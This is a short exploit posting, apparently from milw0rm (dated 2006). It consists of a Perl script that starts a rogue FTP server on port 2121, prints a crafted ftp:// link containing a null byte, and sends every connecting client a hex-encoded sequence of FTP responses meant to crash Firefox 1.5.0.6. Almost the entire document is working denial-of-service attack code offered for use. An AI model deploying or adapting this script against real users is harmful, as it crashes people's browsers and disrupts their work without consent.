Mozilla Firefox 1.5.0.6 - FTP Request Remote Denial of Service

#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35".
"\x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
       # find out who connected
       my ($client_port, $client_ip) = sockaddr_in($client_addr);
       my $client_ipnum = inet_ntoa($client_ip);
       my $client_host = gethostbyaddr($client_ip, AF_INET);
       print ": $client_host", "[$client_ipnum]\n";
       # send them a message, close connection
       print CLIENT $payload;
       close CLIENT;
}

# milw0rm.com [2006-08-22]